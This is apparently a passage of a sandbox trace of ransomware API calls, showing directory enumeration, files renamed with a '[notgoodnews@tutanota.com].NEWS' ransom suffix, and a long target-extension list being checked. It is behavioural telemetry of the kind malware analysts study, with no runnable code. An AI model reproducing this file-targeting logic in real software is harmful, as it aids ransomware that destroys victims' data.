ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x37df2ab7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0191.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.086] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0191.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.088] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0191.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.090] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0191.092] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.092] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0191.095] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.095] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0191.097] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.097] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0191.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.099] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0191.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.101] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0191.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.104] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0191.106] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.106] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x392ced5f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x392ced5f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0191.108] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.108] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39498ad6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39498ad6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0191.110] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.110] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0191.113] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.113] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0191.115] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.115] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0191.352] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.352] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3957d995, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3957d995, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.352] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395a3fec, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395a3fec, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395a3fec, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.353] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.353] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39852453, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39852453, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.353] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0191.354] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.354] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.355] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.355] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395c9cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.355] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0191.355] lstrlenW (lpString=".1cd") returned 4 [0191.356] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0191.356] lstrlenW (lpString=".3ds") returned 4 [0191.356] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0191.356] lstrlenW (lpString=".3fr") returned 4 [0191.356] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0191.356] lstrlenW (lpString=".3g2") returned 4 [0191.356] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0191.356] lstrlenW (lpString=".3gp") returned 4 [0191.356] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0191.356] lstrlenW (lpString=".7z") returned 3 [0191.356] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0191.356] lstrlenW (lpString=".accda") returned 6 [0191.356] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0191.356] lstrlenW (lpString=".accdb") returned 6 [0191.356] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0191.356] lstrlenW (lpString=".accdc") returned 6 [0191.356] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0191.356] lstrlenW (lpString=".accde") returned 6 [0191.356] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0191.356] lstrlenW (lpString=".accdt") returned 6 [0191.356] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0191.356] lstrlenW (lpString=".accdw") returned 6 [0191.356] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0191.356] lstrlenW (lpString=".adb") returned 4 [0191.356] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0191.356] lstrlenW (lpString=".adp") returned 4 [0191.356] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0191.356] lstrlenW (lpString=".ai") returned 3 [0191.357] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0191.357] lstrlenW (lpString=".ai3") returned 4 [0191.357] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".ai4") returned 4 [0191.357] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".ai5") returned 4 [0191.357] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".ai6") returned 4 [0191.357] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".ai7") returned 4 [0191.357] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".ai8") returned 4 [0191.357] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".anim") returned 5 [0191.357] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0191.357] lstrlenW (lpString=".arw") returned 4 [0191.357] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".as") returned 3 [0191.357] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0191.357] lstrlenW (lpString=".asa") returned 4 [0191.357] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".asc") returned 4 [0191.357] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".ascx") returned 5 [0191.357] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0191.357] lstrlenW (lpString=".asm") returned 4 [0191.357] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0191.357] lstrlenW (lpString=".asmx") returned 5 [0191.358] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0191.358] lstrlenW (lpString=".asp") returned 4 [0191.358] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".aspx") returned 5 [0191.358] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0191.358] lstrlenW (lpString=".asr") returned 4 [0191.358] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".asx") returned 4 [0191.358] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".avi") returned 4 [0191.358] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".avs") returned 4 [0191.358] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".backup") returned 7 [0191.358] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0191.358] lstrlenW (lpString=".bak") returned 4 [0191.358] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".bay") returned 4 [0191.358] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".bd") returned 3 [0191.358] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0191.358] lstrlenW (lpString=".bin") returned 4 [0191.358] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".bmp") returned 4 [0191.358] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".bz2") returned 4 [0191.358] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0191.358] lstrlenW (lpString=".c") returned 2 [0191.358] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0191.359] lstrlenW (lpString=".cdr") returned 4 [0191.359] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".cer") returned 4 [0191.359] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".cf") returned 3 [0191.359] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0191.359] lstrlenW (lpString=".cfc") returned 4 [0191.359] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".cfm") returned 4 [0191.359] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".cfml") returned 5 [0191.359] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0191.359] lstrlenW (lpString=".cfu") returned 4 [0191.359] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".chm") returned 4 [0191.359] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".cin") returned 4 [0191.359] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".class") returned 6 [0191.359] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0191.359] lstrlenW (lpString=".clx") returned 4 [0191.359] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".config") returned 7 [0191.359] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0191.359] lstrlenW (lpString=".cpp") returned 4 [0191.359] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".cr2") returned 4 [0191.359] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0191.359] lstrlenW (lpString=".crt") returned 4 [0191.359] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".crw") returned 4 [0191.360] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".cs") returned 3 [0191.360] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0191.360] lstrlenW (lpString=".css") returned 4 [0191.360] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".csv") returned 4 [0191.360] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".cub") returned 4 [0191.360] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".dae") returned 4 [0191.360] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".dat") returned 4 [0191.360] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".db") returned 3 [0191.360] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0191.360] lstrlenW (lpString=".dbf") returned 4 [0191.360] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".dbx") returned 4 [0191.360] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".dc3") returned 4 [0191.360] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".dcm") returned 4 [0191.360] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".dcr") returned 4 [0191.360] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".der") returned 4 [0191.360] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0191.360] lstrlenW (lpString=".dib") returned 4 [0191.361] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".dic") returned 4 [0191.361] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".dif") returned 4 [0191.361] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".divx") returned 5 [0191.361] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0191.361] lstrlenW (lpString=".djvu") returned 5 [0191.361] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0191.361] lstrlenW (lpString=".dng") returned 4 [0191.361] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".doc") returned 4 [0191.361] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".docm") returned 5 [0191.361] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0191.361] lstrlenW (lpString=".docx") returned 5 [0191.361] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0191.361] lstrlenW (lpString=".dot") returned 4 [0191.361] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".dotm") returned 5 [0191.361] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0191.361] lstrlenW (lpString=".dotx") returned 5 [0191.361] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0191.361] lstrlenW (lpString=".dpx") returned 4 [0191.361] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".dqy") returned 4 [0191.361] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".dsn") returned 4 [0191.361] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0191.361] lstrlenW (lpString=".dt") returned 3 [0191.362] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0191.362] lstrlenW (lpString=".dtd") returned 4 [0191.362] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".dwg") returned 4 [0191.362] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".dwt") returned 4 [0191.362] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".dx") returned 3 [0191.362] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0191.362] lstrlenW (lpString=".dxf") returned 4 [0191.362] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".edml") returned 5 [0191.362] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0191.362] lstrlenW (lpString=".efd") returned 4 [0191.362] lstrcmpiW 